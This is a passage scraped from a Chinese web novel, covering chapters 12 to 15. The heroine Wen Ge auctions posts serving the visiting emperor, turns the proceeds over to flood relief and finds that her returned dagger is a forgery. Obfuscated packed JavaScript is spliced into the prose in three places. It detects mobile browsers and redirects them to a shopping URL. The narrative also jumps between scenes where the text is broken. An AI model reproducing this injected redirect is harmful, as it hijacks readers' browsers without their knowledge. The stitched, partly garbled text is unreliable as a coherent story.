她问过那日来禀报的李县令——现在的李知府,对方信誓旦旦说现场只找到些金银细软,没有匕首。 那刀能去哪儿? 难道毒狼还有同伙?或者……刀根本不在他那里? 闻歌想起萧昌那日将刀还给她的情景。他的眼神,他的动作,还有那把刀入手时细微的不同触感…… 一个荒谬的念头闪过脑海。 她猛地从床上坐起,从枕下摸出那把“失而复得”的匕首。五寸乌鞘,碧色琉璃——看起来一模一样。 她握住刀柄,用力一拔。 纹丝不动。 和从前一样。 可不知为何,她总觉得哪里不对。刀鞘上的纹路?琉璃的光泽?还是握在手里的重量? “小姐,”小桃推门进来,手里端着点心,“您午膳又没吃多少,夫人让奴婢送些糕点来。” 闻歌将刀塞回枕下,接过盘子:“外头还忙?” “忙疯啦。”小桃叹气,“老爷说,皇上这次来住,至少要十天半月。府里上下都得打起十二分精神,不能出半点差错。” 闻歌咬了口桂花糕,甜腻的味道在舌尖化开,心里却更乱了。 十天半月。 萧昌要在她家住十天半月。 他是真的“恩宠”,还是另有所图?是来做客,还是来……监视? 窗外,夕阳西下,将丞相府的飞檐染成金红。下人们还在忙碌,身影在暮色里拉得很长。 闻歌望着那片渐渐暗下来的天空,忽然想起萧昌说: “朕到底是昏君还是明君,时间会证明。而你,可以亲眼看着。” 她握紧了手中的糕点。 那就看着吧。 看这出戏,到底要怎么唱下去。 12. 第 12 章 小桃和小红溜进闻歌闺房时,活像两只逃难的小老鼠。 “小姐——”小桃一进门就瘫在圆凳上,举起茶壶对着嘴“咕嘟咕嘟”猛灌,茶水顺着下巴流到衣襟也顾不得,“我的腿……腿都要跑断了!府里从来没这么忙过!” 小红也没好到哪去,抱着桌角直喘气:“是啊是啊,事多人少,管家恨不得把街上野狗都抓来干活……” 闻歌正趴在桌上发呆,闻言抬起头:“我‘死’的时候,你们也这么忙?” “呸呸呸!”小桃忙不迭地摆手,“小姐福大命大,不许说这个字!” “就是!”小红倒了杯茶慢慢喝,“还是伺候小姐舒服。小姐从不让我们干重活,哪像现在——把女人当男人使,把男人当牲口使!” 两个丫鬟你一言我一语地抱怨,闻歌却听得心不在焉。 她的手指无意识地摩挲着枕下那把“失而复得”的匕首。刀鞘冰凉,碧色琉璃在昏暗中泛着幽光——可不知为什么,她就是觉得不对劲。说不清是哪里不对,就像吃一道熟悉的菜,总觉得少了点什么佐料。 “小姐?”小桃察觉到她的走神,“您怎么了?从早上起就魂不守舍的。” “没什么。”闻歌收回手,叹了口气,“就是觉得……这刀好像不太一样了。” “刀?”小红眨眨眼,“不就是那把神仙给的刀吗?皇上不是帮您找回来了?” 是啊,找回来了。 可为什么找回来的过程那么轻易?毒狼那样的亡命之徒,会轻易让人拿回他偷走的东西?就算他被捕杀,那些搜捕的官兵,又怎么会特意把一把“普通匕首”呈给皇上? 疑点太多了。 “小姐,您就别想那把刀啦。”小桃凑过来,神秘兮兮地压低声音,“外头现在传得可热闹了!都说皇上来咱们府上住,根本不是为了体察民情,是为了……” “为了什么?” “为了见您呀!”小红抢答,眼睛亮晶晶的,“宫里都传遍了,说皇上对安国郡主青眼有加,这次移驾丞相府,就是冲着您来的!” 闻歌翻了个白眼:“那昏君,不心系天下,净想着这些。” “小姐!这话可说不得!”小桃急得直跺脚,“您不就是因为这话被关禁闭的吗?” “说都说了,还能咽回去?”闻歌撇嘴,“再说了,我说错了吗?南方水患未平,流民数十万,他倒好,跑到臣子家里来住着,还弄得满城风雨——” 话没说完,外头突然传来急促的脚步声和尖叫: “不好啦——夫人晕倒啦!” 闻歌“腾”地站起来:“怎么回事?!” 一个丫鬟跌跌撞撞冲进来,脸色煞白:“前、前厅……那群老爷夫人围着夫人,非要塞自家公子小姐进府,夫人不答应,就被吵得……晕过去了!” 闻歌眼神一冷。 好嘛,她还没去找那些“攀附隆恩”的麻烦,他们倒先欺负到她娘头上了! “走!” 前厅的景象,让闻歌这辈子都忘不了。 黑压压一片人,男的女的老的少的,绫罗绸缎与珠光宝气晃得人眼花。他们围着脸色苍白的丞相夫人,七嘴八舌,声音混杂如千万只苍蝇同时振翅: “丞相夫人!我家小女最是乖巧,留下给郡主做个伴吧!” “我儿子读过圣贤书,正好陪皇上论道!” “我们出钱!出多少都行!只要能在皇上跟前露个脸——” 丞相夫人被挤在中间,额上冷汗涔涔,几次想开口都被更大的声浪压下去。闻丞相护在她身前,脸色铁青,却同样寸步难行。 闻歌拨开人群挤进去时,正听见一个富态妇人尖着嗓子说:“夫人这是看不起我们?都是为皇上尽忠,分什么先来后到?” “就是!皇上恩泽天下,岂是丞相府一家能独占的?!” 闻歌火气“噌”地蹿了上来。 她深吸一口气,一个箭步跳上厅中央那张紫檀八仙桌—— “砰!” 脚下用力一跺,桌案震动,满堂嘈杂骤然一静。 所有人齐刷刷看向她。 闻歌站在高处,目光扫过那一张张或急切、或贪婪、或算计的脸,忽然笑了。 “各位,”她开口,声音清亮,“都想把自家孩子送进丞相府,是吧?” 短暂的寂静后,人群再次骚动: “安国郡主明鉴!” “郡主开恩啊!” 闻歌抬手压了压,等声音稍歇,才慢条斯理地说:“行,我答应。” “歌儿?!”闻丞相愕然抬头。 “爹,您先扶娘去休息。”闻歌跳下桌子,走到父亲身边,压低声音,“这里交给我。我有办法。” 闻丞相看着她眼里的狡黠,忽然想起女儿这些日子来的种种“出格”——死而复生,当街斗殴,金銮殿骂皇上……哪一桩不是惊世骇俗?可哪一桩,最后不是化险为夷? 他咬了咬牙,扶着夫人往后堂走:“好,爹信你。” 等父母离开,闻歌重新跳上桌子,拍了拍手: “诸位,我闻歌说话算话。你们的公子小姐,我全收。” 满堂爆发出欢呼。 “但是——”闻歌话锋一转,“这么多人,怎么安排?谁近谁远?谁主谁次?总不能都挤到皇上跟前吧?” 众人面面相觑。 闻歌笑了,笑得像只偷到油的小老鼠:“所以我想了个办法——拍卖。” “拍卖?” “对。”闻歌从腰间摸出那块赤金凤牌,高高举起,“皇上赐我此牌,许我全权处置迎驾事宜。今日我就用这权力,为各位谋个‘公平’。” 她顿了顿,环视全场:“伺候皇上的岗位,分内侍三层、外侍三层。内侍第一层,可随驾左右,甚至……伺候皇上就寝。” 这话一出,不少人眼睛都亮了。 “现在,我们从外侍第三层开始拍。”闻歌清了清嗓子,“起价——一万两白银。” 短暂的寂静。 “一万五!”有人试探着喊。 “两万!” “三万!” 价格节节攀升。那些原本还端着架子的官宦人家,此刻也顾不得体面了,喊价声此起彼伏。金银成了数字,在空气中碰撞出贪婪的脆响。 小桃和小红被闻歌叫到身边,一个记账,一个收钱票,手忙脚乱,额头上全是汗。 闻歌却站在桌上,像个最精明的商人,一锤一锤敲定价格: “外侍第二层,十万两一次——” “十五万!” “二十万!” “成交!” 越靠近内层,竞争越激烈。当拍到“内侍第一层”时,场面几乎失控。 “五十万!”一个盐商喊得脸红脖子粗。 “八十万!”某位侍郎夫人咬牙跟上。 “一百万!”角落里传来慢悠悠的声音。 众人循声望去,是个生面孔的年轻公子,锦衣玉扇,气度不凡。他笑眯眯地补充:“黄金。” 满堂死寂。 一百万……黄金?! 闻歌也怔了怔,仔细打量那人——眉眼清俊,气质温润,可那双眼里闪烁的精光,却绝不像寻常富家子弟。 “这位公子是……” “鄙姓沈,单名一个‘墨’字。”公子拱手,“江南来的生意人,久仰安国郡主大名,特来捧场。” 江南沈家?闻歌心里一动——那可是富可敌国的皇商,连皇上都要给三分薄面。 “沈公子出价一百万两黄金。”闻歌压下心头疑惑,朗声道,“可还有人加价?” 无人应答。 “成交!” 沈墨微微一笑,上前交了钱票。经过闻歌身边时,他用只有两人能听见的声音说:“郡主好手段。这一局,沈某心服口服。” 闻歌挑眉:“沈公子花这么大价钱,就为买个伺候皇上的机会?” “自然不是。”沈墨意味深长地看她一眼,“沈某买的,是郡主的‘人情’。” 说完,施施然退到一旁。 拍卖继续。等所有岗位分配完毕,已是日落西山。那些没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992181|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍到好位置的,虽然不甘,但见闻歌真把所有人都留下了,也只能认命。 闻歌跳下桌子,腿都站麻了。她揉着膝盖,对满堂人道:“今日拍得岗位的,七日后按分配的位置当值。没拍到的,我也会另行安排,只是离皇上远些。但有句话我说在前头——” 她举起凤牌,神色骤然冷厉:“进了丞相府,就得守丞相府的规矩。若有谁不听调遣、惹是生非,休怪我不客气!” 凤牌在夕阳余晖下泛着冷光,“如朕亲临”四个字刺痛了所有人的眼。 “吾皇万岁——”众人齐刷刷跪下。 闻歌满意地点头:“都散了吧。” 人群陆续散去。前厅终于恢复清净,只留下一地狼藉和……堆成小山的银票金票。 小桃和小红瘫坐在椅子上,看着那些票据说不出话。 “小、小姐……”小桃声音发颤,“这、这么多钱……咱们是不是……惹大祸了?” 闻歌却满不在乎地数着票据:“怕什么?他们自愿出的钱,我又没逼他们。再说了,这些钱拿来干什么不好?南方水患正缺赈灾银,皇上不是愁钱吗?我替他解决了。” 小红吞了吞口水:“可……可这是卖官鬻爵啊……” “我卖的是‘伺候皇上的岗位’,又不是官职。”闻歌理直气壮,“再说了,皇上自己住到臣子家里来,惹出这些事,他不得负责?” 话音刚落,身后传来一声轻笑: “说得对。朕确实该负责。” 闻歌浑身一僵,缓缓回头。 萧昌不知何时站在厅门口,一身常服,负手而立,唇角噙着笑,眼底却看不出情绪。黄公公躬着身子跟在后面,拼命朝闻歌使眼色。 “皇、皇上……”小桃小红“扑通”跪倒。 闻歌站着没动,只干巴巴地扯出个笑:“陛下怎么……提前来了?” “朕若不来,怎能看到安国郡主这般……生财有道?”萧昌踱步进来,目光扫过那堆银票,又落在闻歌脸上,“一百万两黄金买一个‘伺候朕就寝’的机会——郡主,你这价钱定得,是不是有点高?” 闻歌头皮发麻,嘴上却硬:“物以稀为贵。皇上您自己说的,恩泽不能独占,臣女这是……帮您广布恩泽。” “哦?”萧昌挑眉,“那这些钱——” “赈灾!”闻歌脱口而出,“南方水患,流民数十万,正缺银子!臣女替皇上筹的!” 萧昌盯着她看了许久,久到闻歌后背都冒出冷汗,他才忽然笑了。 这一次,是真心实意的笑。 “好。”他走到那堆银票前,随手拿起一张看了看,“朕准了。这些钱,全部充入国库,用于赈灾。” 闻歌松了口气。 “不过——”萧昌话锋一转,“那个花一百万两黄金的沈墨,你得多留意。” 闻歌一怔:“皇上认识他?” “江南沈家的少主,朕怎会不认识?”萧昌将银票放回原处,语气淡淡,“沈家富甲天下,却从不参与朝堂之事。这次他忽然现身京城,还花重金买这么个‘机会’……恐怕,所图非小。” 闻歌心头一凛。 她就觉得那沈墨不对劲! “那……臣女把钱退给他?” “不必。”萧昌摇头,“钱既收了,就没有退的道理。朕倒要看看,他到底想做什么。” 他转身看向闻歌,眼神深邃:“七日后,朕正式移驾。这期间,府里就交给你了。” 闻歌张了张嘴,想说什么,却见萧昌已转身往外走。走到门口时,他忽然停步,回头: “对了,你那把刀……最近可还顺手?” 闻歌心脏猛地一跳。 “还、还好。” “那就好。”萧昌笑了笑,意味深长,“刀要握在自己手里,才踏实。你说是不是?” 说完,大步离去。 夕阳彻底沉下,暮色笼罩了丞相府。 闻歌独自站在空旷的前厅,手里紧紧握着那把匕首。 刀鞘冰凉。 可她的掌心,却全是汗。 13. 第 13 章 寅时刚过,丞相府上下已是灯火通明。 闻歌被小桃从被窝里拖出来时,天边还挂着残星。她眯着眼任由丫鬟们摆弄,梳妆、更衣、戴冠——一身郡主规制的绯红宫装,金线绣着缠枝莲纹,沉得她脖子发酸。 “有必要这么早吗?”她打着哈欠抱怨,“皇上又不是太阳,非得天不亮就迎接?” “小姐!”小桃急得跺脚,“皇上辰时驾临,咱们得提前两个时辰准备!这是规矩!” 规矩,规矩,又是规矩。 闻歌被簇拥着来到府门前时,丞相府所有人已按品阶站成数列。闻丞相一身紫袍朝服,手持玉笏站在最前;丞相夫人按品大妆,发间的九尾凤钗在晨曦中泛着冷光。 晨风带着寒意,闻歌站了不到一刻钟就开始腿麻。她偷偷活动脚腕,看着远处空荡荡的街面,小声嘀咕: “这阵仗,不知道的还以为送殡呢。一口棺材,两面招魂幡,齐活了。” “小姐!”小红吓得脸色发白,“这话可说不得!” “我说错了吗?”闻歌撇嘴,“劳民伤财,兴师动众——怪不得有‘朱门酒肉臭,路有冻死骨’的诗。” “闭嘴!” 闻丞相猛地回头,眼神凌厉如刀。丞相夫人也焦急地扯了扯她的衣袖:“歌儿,慎言!” 闻歌噤声,心里却不服。她抬头望向渐亮的天色,忽然想起前世在警校时,老教官说的话:“排场越大,心里越虚。” 那皇上,心里虚不虚? 辰时正,鼓乐齐鸣。 明黄仪仗从长街尽头缓缓行来,旌旗蔽日,侍卫如林。龙撵在府门前停下时,所有人都跪伏在地,山呼“万岁”。 闻歌跟着跪拜,偷偷抬眼——萧昌从撵中步出,一身玄色常服,玉冠束发,比穿龙袍时少了三分威仪,却多了七分清朗。他目光扫过跪拜的人群,在闻歌身上停留了一瞬,唇角微不可察地扬了扬。 “平身。” 声音清越,带着早春晨风的凉意。 众人簇拥着皇上进入正厅。萧昌刚落座,黄公公就捧着厚厚一摞奏折上前,面露难色:“陛下,今日呈报的折子……比往日多了三成。” “哦?”萧昌接过茶盏,慢条斯理地抿了一口,“念来听听。” 黄公公展开第一本,声音发干:“微臣启奏:安国郡主闻歌借皇上移驾之名,大肆敛财,败坏圣誉,践踏国法,其罪当诛……” “砰!” 闻丞相手中的茶盏摔在地上,碎瓷四溅。他“扑通”跪倒,额头抵地:“臣教女无方,罪该万死!此事皆因臣管教不严,与歌儿无关,请陛下治臣之罪!” 萧昌没看他,只对黄公公道:“继续。” 第二本、第三本……弹劾的奏折如雪片般堆叠。字字诛心,句句见血,将闻歌说成祸国妖女,将敛财之事上升为“动摇国本”。每念一本,闻丞相的脸色就白一分,到最后已是面无人色,伏在地上瑟瑟发抖。 闻歌站在父亲身侧,垂着眼,听着那些恶毒的指控,心里却异常平静。 她早就料到会有这一天。 从她决定拍卖那些“伺候皇上的岗位”起,就知道会触怒多少人。那些花了钱却没买到好位置的,那些根本没挤进来的,那些原本就看闻家不顺眼的——他们等的就是这个机会。 “传闻歌。”萧昌终于开口。 闻歌上前,跪在父亲身边。绯红宫装铺展在金砖上,像一朵开在冰面上的血莲。 “安国郡主,”萧昌的声音听不出情绪,“这些折子上的指控,你可认?” “臣女不认。”闻歌抬头,目光清亮,“臣女所为,皆是为陛下分忧,为百姓解难。” “放肆!”一声厉喝从厅外传来。 皇叔萧璟大步踏入,身后跟着十几位大臣。他指着闻歌,声色俱厉:“妖女还敢狡辩!借皇上之名敛财中饱,人证物证俱在!陛下,此女不除,国法难容!” “王爷此言差矣。”闻歌不慌不忙,“臣女敛财不假,但钱财何在,用于何处,王爷可曾查过?” “自是进了你的私库!” “那王爷可敢与臣女打赌?”闻歌笑了,笑容里带着几分狡黠,“若在臣女房中搜出一两赃银,臣女愿当场伏诛。若搜不出——” 她顿了顿,目光扫过那些义愤填膺的大臣:“王爷和诸位大人,是否该给臣女、给陛下一个交代?” 萧璟脸色一僵。 他确实派人查过,可闻歌房中干干净净,连张银票的影子都没有。那些巨款就像凭空消失了。 “不必搜了。” 萧昌忽然开口。他从袖中取出一卷绢帛,递给黄公公:“宣旨。” 明黄绢帛展开,上面墨迹犹新。 “奉天承运,皇帝诏曰:安国郡主闻歌,心系苍生,智解困局。所筹银两一百八十七万两,黄金一百万两,已悉数运往南方灾区,以朕及百官之名赈济灾民。功在社稷,德泽黎庶,特赐绫罗万匹,以彰其功。钦此。” 死寂。 连呼吸声都清晰可闻。 那些刚才还慷慨激昂的大臣们,此刻像被掐住了脖子,脸色由红转白,由白转青。萧璟死死盯着那卷圣旨,嘴唇哆嗦,却一个字也说不出来。 “诸卿,”萧昌放下茶盏,声音不大,却字字如锤,“朕要你们筹银赈灾时,你们说国库空虚,说民生艰难。安国郡主替你们解决了难题,你们却说她敛财中饱——” 他站起身,一步步走下主位,玄色衣摆拂过金砖:“朕倒想问问,你们究竟是忧心国事,还是……忧心自己的脸面?” “陛下……”一位老臣颤巍巍跪下,“臣等……愚钝……” “不是愚钝,是自私。”萧昌停在闻歌面前,伸手将她扶起,“安国郡主敢做你们不敢做之事,敢担你们不敢担之责。这样的臣子,朕若还要治罪,才是真正的昏君。” 他转身,目光扫过跪了一地的大臣:“都退下吧。今日之事,朕不想再提。” 众人如蒙大赦,连滚爬爬地退出正厅。萧璟最后一个离开,临走前深深看了闻歌一眼,那眼神复杂得难以形容——有震惊,有不甘,还有一丝……忌惮。 厅内终于清净了。 闻丞相还跪在地上,老泪纵横:“陛下隆恩……老臣、老臣……” “闻卿也退下吧。”萧昌温声道,“朕有些话,要单独与郡主说。” 闻丞相担忧地看了女儿一眼,终究还是躬身退去。黄公公很有眼色地带上厅门,守在外面。 阳光透过雕花窗棂,在厅内投下明明灭灭的光影。 闻歌还站在原地,绯红衣袂在微风中轻颤。她看着萧昌走回主位坐下,忽然开口: “陛下早就知道了?” “知道什么?”萧昌挑眉,“知道你拍卖岗位?还是知道你连夜把银两装箱运往南方?” “……都知道了。” “朕若连这点事都不知道,还做什么皇帝?”萧昌笑了,招手让她走近些,“过来,让朕看看——方才那些老家伙围攻你时,吓着了没?” “没有。”闻歌嘴上硬,脚下却乖乖走过去,“臣女行的端做得正,怕什么?” “不怕朕真信了他们的话?” “陛下若信,就不会有那道圣旨了。”闻歌顿了顿,声音低了些,“只是臣女没想到……陛下会准备得这么周全。” 那道圣旨,墨迹犹新,显然是早就写好的。 这意味着,从她开始拍卖的那一刻起,萧昌就在看着。看着她如何应对,如何周旋,如何……一步步走进他布好的局。 “朕说过,”萧昌看着她,眼神深邃,“朕到底是昏君还是明君,时间会证明。而你可以亲眼看着。” 他顿了顿,笑意加深:“现在,你觉得朕是昏君还是明君?” 闻歌张了张嘴,最终老老实实道:“至少在这件事上……是明君。” “只是这件事?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这也就罢了。”萧昌继续道,“朕要沐浴,刚走到浴室门口,忽然冲出十几个侍女,二话不说把朕抬了进去。朕还没反应过来,她们就围着朕流口水——是真的流口水,朕亲眼看见的。” 闻歌憋笑憋得肩膀直抖。 “朕在浴室待了足足两个时辰,”萧昌越说越无奈,“她们恨不得把朕搓掉一层皮。要不是侍卫听见动静冲进来,朕怕是出不来了。” “噗——”闻歌终于没忍住,笑出声来。 “你还笑?”萧昌瞪她,“你到底收了多少人的钱?怎么什么歪瓜裂枣都往朕这儿塞?” “陛下恕罪。”闻歌勉强止住笑,“实在是……钱收得太多,人数太多,臣女来不及仔细挑。” “下次注意。”萧昌没好气道,“至少……挑几个能看的。” “是是是,臣女记住了。”闻歌嘴上应着,心里却想——还有下次?您可真敢想。 窗外传来黄公公小心翼翼的提醒:“陛下,巳时了,该用早膳了。” 萧昌起身,走到闻歌面前,忽然伸手揉了揉她的发顶——这个动作太过亲昵,闻歌僵住了。 “闻歌,”他低声说,“在这朝堂上,光有胆量不够,还得有智慧。光有智慧不够,还得有人护着。” 他收回手,转身往外走:“朕愿意护着你。但你也得……学会护着自己。” 厅门打开又合上。 阳光倾泻而入,将空气中的微尘照得清晰可见。 闻歌独自站在空旷的正厅里,许久,轻轻摸了摸刚才被他碰过的发顶。 那里,还残留着一点温度。 像早春第一缕破冰的风,凉,却带着生机。 她低头看了看自己绯红的衣袖,又想起那些弹劾的奏折,那些恶毒的指控,还有萧昌展开圣旨时,眼底那抹笃定的光。 护着她吗? 她笑了笑,转身走出正厅。 门外春光正好,院中一树玉兰开得正盛,洁白的花瓣在风中轻颤。 而更远的地方,宫墙之外,还有无数双眼睛在盯着她,盯着闻家,盯着这场由她掀起的风波。 这场戏,才刚开场呢。 14. 第 14 章 闻歌“扑哧”一声笑出来时,萧昌正低头拂去袖口沾上的柳絮。她这一笑太过突兀,连带着廊下枝头的鸟雀都惊飞了几只。 “你笑什么?”萧昌抬眼。 “没什么。”闻歌憋着笑,眼睛弯成月牙,“就是觉得……陛下来臣女家中做客,还要被这些‘意外’叨扰,实在是……委屈您了。” 话音刚落—— “啊——!” 一声惊呼从头顶传来! 萧昌本能后退半步,就见一团粉紫色身影从廊檐上直坠而下,“咚”地砸在他和闻歌面前三尺处。青石板被震得嗡嗡作响,那女子疼得龇牙咧嘴,却还不忘迅速整理散乱的鬓发和衣裙。 是个约莫十六七岁的姑娘,脸上涂着过厚的胭脂,此刻因疼痛而扭曲,活像戏台上的丑角。 “民女叩见——”她挣扎着要行礼。 “带走。” 萧昌面无表情地挥手。两个侍卫如鬼魅般闪现,一左一右架起那姑娘,任凭她如何蹬腿挣扎,眨眼就消失在了月洞门外。 园中重归寂静。只有那姑娘不甘的呼喊远远飘来:“皇上——民女还没给您请安呢——皇上——” 声音凄厉,像被抢了骨头的狗。 闻歌低头玩着腰间的丝绦,肩膀微微抖动。 “安国郡主,”萧昌转头看她,声音凉凉的,“这又是哪一出?” “这个……”闻歌清了清嗓子,努力板起脸,“收了人家三万两银子,总得给个‘偶遇皇上的机会’。不过陛下放心,钱一个子儿都没留,全送灾区了。” “朕当然知道。”萧昌迈步继续往前走,玄色衣摆拂过青石路面,“不然你以为,你能活到现在?” 他顿了顿,补充道:“朕怎么觉得,这丞相府比战场还凶险?若不是带了足够侍卫,怕是活不过第一日。” “陛下言重了。”闻歌跟上他的步伐,一本正经,“这些都是心怀善念、愿为灾区尽力的良善人家,哪有什么凶险?” “强词夺理。” 两人一前一后穿过垂花门,踏入后院。春日的阳光透过繁茂的枝叶,在石子路上洒下斑驳光影。一个穿着粗布衣裳的下人正低头扫地,竹帚划过地面,发出沙沙轻响。 就在萧昌和闻歌即将跨过门槛的瞬间—— “学而时习之,不亦说乎?有朋自远方来,不亦乐乎?人不知而不愠,不亦君子乎……” 扫地人猛地丢开扫帚,挺直腰板,从怀中掏出一本翻得卷边的《论语》,声情并茂地朗诵起来。那转变之快,仿佛早有排练。 萧昌脚步微顿。 闻歌伸出两根手指,小声说:“这个,两万两。” 继续往前走。穿过九曲回廊,假山旁的园圃里,一个花匠正弯腰修剪枝叶。见皇驾经过,他眼中精光一闪,扔了花剪,从花丛后“唰”地抽出一柄长剑,当场舞了一套剑法—— 虽招式花哨,破绽百出,但胜在气势十足。 “一万五千两。”闻歌及时报价。 萧昌揉了揉眉心:“好个安国郡主,真把朕当成敛财的工具了。” 话音未落,井台边传来窸窣声。一个洗衣女子缓缓直起身,将湿漉漉的头发撩到耳后,侧身摆出个极柔美的姿势——一手轻抚小腹,一手向后扬起,学着古画里西施浣纱的模样,朝着萧昌的方向抛来一个媚眼。 秋波没送到,倒是甩了皇帝一脸水珠子。 “这个一万两。”闻歌憋笑憋得脸都红了。 萧昌抹了把脸,又好气又好笑:“你倒是生财有道。难怪一个时辰能凑出那么多银子。” “全赖陛下洪福齐天。”闻歌乖巧道。 “朕得了你这安国郡主,真是……”萧昌摇头失笑,“聪慧,胆大,鬼点子多。朕就算想治你的罪,都找不出理由。” 两人并肩走在园中小径上。春风拂过,带来满园花香。萧昌忽然问:“朕一直好奇,天下人见了朕,或畏或敬。为何独独你不怕?” “为什么要怕?”闻歌歪头,“就因为您是皇上?” 萧昌停下脚步,转身看她。阳光透过枝叶缝隙落在他脸上,明明灭灭。他背着手,玄色龙袍的广袖被风微微掀起—— 就在这一瞬间,闻歌瞳孔骤缩! 他腰间!那把五寸匕首!乌木刀鞘,碧色琉璃在日光下流转着熟悉的光泽! 那是她的刀! “我的刀怎么在你这儿?!”闻歌想都没想,伸手就去夺。 动作快如闪电。萧昌似乎没料到她这般大胆,怔了怔,刀已被她抽走。闻歌握住刀柄的刹那,本能地用力一拔—— 纹丝不动。 和之前一样。 “大胆!敢行刺皇上!” 两道寒光闪过,侍卫的刀已架在她脖颈上。冰冷的刀刃贴着皮肤,激得她起了一层鸡皮疙瘩。 “退下。”萧昌声音一沉。 侍卫收刀,悄无声息地退到三丈外,眼神却仍死死盯着闻歌。 萧昌看着还握着刀发愣的闻歌,忽然笑了:“没想到吧?” 闻歌回过神,摸着冰凉的脖颈,心有余悸:“伴君如伴虎……我爹说得一点没错。” “你把朕比作老虎?” “差不多。”闻歌低头看着手中的刀,指尖摩挲着刀鞘上的琉璃纹路,忽然抬头,“刀怎么在您这儿?不是说被‘毒狼’偷走了吗?” 难道皇上和李县令合起伙来骗她?刀根本没丢,一直在皇上手里? “天下万物,皆归朕有。”萧昌淡淡道,“一把刀而已,朕需要‘偷’吗?” “那它怎么会……” “那日你闯朕的轿子,离开时掉的。”萧昌说得轻描淡写,“朕替你收着罢了。” 闻歌将信将疑。但刀确实回到了手里,那种血脉相连般的熟悉感做不了假。她握紧刀,小声嘀咕:“总算能继续修仙了……” “你就这么想成仙?”萧昌忽然问,“留在朕身边,做朕的妃子,不好吗?” 闻歌抬头,正对上他深邃的目光。那眼神里有探究,有期待,还有某种她看不懂的情绪。 “不好。”她答得干脆,“妃子有什么好?关在宫里,见不着天日,还得跟一堆女人争风吃醋。哪有修仙自在?” “若朕执意留你呢?” “那就……”闻歌眨眨眼,“走着瞧呗。” 她心里已经开始盘算逃跑路线了。 夜幕降临,丞相府渐渐安静下来。 闻歌躺在床榻上,却毫无睡意。白日里萧昌还刀时的眼神,总在她脑中徘徊。太轻易了,一切都太轻易了。以她对这位皇帝的了解,他做事从来都有深意。 窗外传来极轻微的瓦片响动。 闻歌眼神一凛,悄无声息地翻身下床,推开后窗,如猫般翻上屋顶。月华如练,将整座府邸照得一片银白。她伏在屋脊后,循声望去—— 西厢房的屋顶上,三个黑影正凑在一起。 “……活得真窝囊!本想沾叔叔的光,没想到光没沾到,反倒活受罪!”是闻义博的声音。 “我还不是被安排去洗碗?连皇上的面都见不着!”闻清抱怨。 闻涵的声音带着哭腔:“我更惨,洗衣服洗得手都皱了!还比不上那个花了一万五千两的贱丫头!” “我虽说见了皇上,可都是远远看着,连句话都说不上!”闻义博恨恨道,“我若能近前表演武艺,定能当上御前侍卫!” “她这就是故意的!”闻清咬牙,“怕我们得了皇上赏识,抢了她的风头!” “得教训教训她。”闻义博压低声音,“我记得她最怕蛇和蝙蝠……” “对!往她房里放!” “我赞成!” 三人正说得起劲,屋顶忽然传来一声极轻的嗤笑。 “谁?!”闻义博猛地抬头。 月华如水,屋顶空空如也,只有夜风吹过瓦片的轻响。 “听、听错了吧……”闻清声音发颤。 三人不敢再多说,匆匆散了。 次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“安国郡主言之有理。”他转向李霸,“朕准你入禁军,先任百夫长。若三年内有所建树,再议升迁。至于婚事……既闻涵姑娘愿意,朕便赐皇家贺礼一份,择日完婚。” 这已是莫大的转圜。李霸虽有些失望,却也不敢多言,叩首领恩。 闻涵松了口气,看向闻歌的眼神却更怨毒了——在她看来,这一切都是闻歌设计的圈套! 比试继续。轮到闻清抚琴时,黄公公匆匆走来,在萧昌耳边低语几句。萧昌神色微变,起身离席。 皇上走了,比试自然也散了。人群散去后,闻涵冲到闻歌面前,双目赤红:“闻歌!你满意了吧?!把我推给那种莽夫,你报仇了吧?!” 闻歌静静看着她,许久,才轻声说:“你若真不愿,方才就该拒绝。” “我敢吗?!”闻涵声音尖锐,“皇上开口,我能说不吗?!” “所以你怨的,其实不是李霸,也不是我。”闻歌转身,望向远处巍峨的宫墙,“你怨的是自己不够强大,连说‘不’的勇气都没有。” 她说完就走,留下闻涵在原地怔怔发呆。 当夜,月明星稀。 闻歌坐在窗边,借着烛火反复端详那把匕首。刀鞘上的碧色琉璃在光下流转着诡异的光泽,像一只窥伺的眼睛。 她忽然想起白日里萧昌还刀时说的话。 “那日你闯朕的轿子,离开时掉的。” 可那日她明明记得,刀一直贴身藏着,从未取出过。 除非…… 闻歌眼神一凛,握住刀柄,用尽全身力气一拔—— “咔嚓。” 极轻微的机括声。 刀身出鞘半寸。 不是拔出来的,是刀鞘自己松开的。 而露出的那半寸刀刃上,刻着两个极小的篆字: “待君”。 闻歌浑身血液都凉了。 这不是她的刀。 她的刀上,从来没有字。 15. 第 15 章 闻涵冲到她面前时,眼睛红得像要滴血。 “闻歌——你我走着瞧!” 那声音从牙缝里挤出来,带着淬毒般的恨意。闻歌只是静静看着这个堂妹,看着那张因愤怒而扭曲的脸,忽然觉得有些疲倦。 她没说话,转身就走。 小桃和小红急忙跟上,走出老远还能听见闻涵在后头摔东西的声响。小红小声嘀咕:“小姐,她们这次怕是真恨上您了……” “随她们去。”闻歌脚步不停,“问心无愧就好。” 话虽如此,当她独自坐在闺房的窗边时,指尖还是无意识地摩挲着袖中那把匕首——那把刻着“待君”二字的、根本不是她的刀。 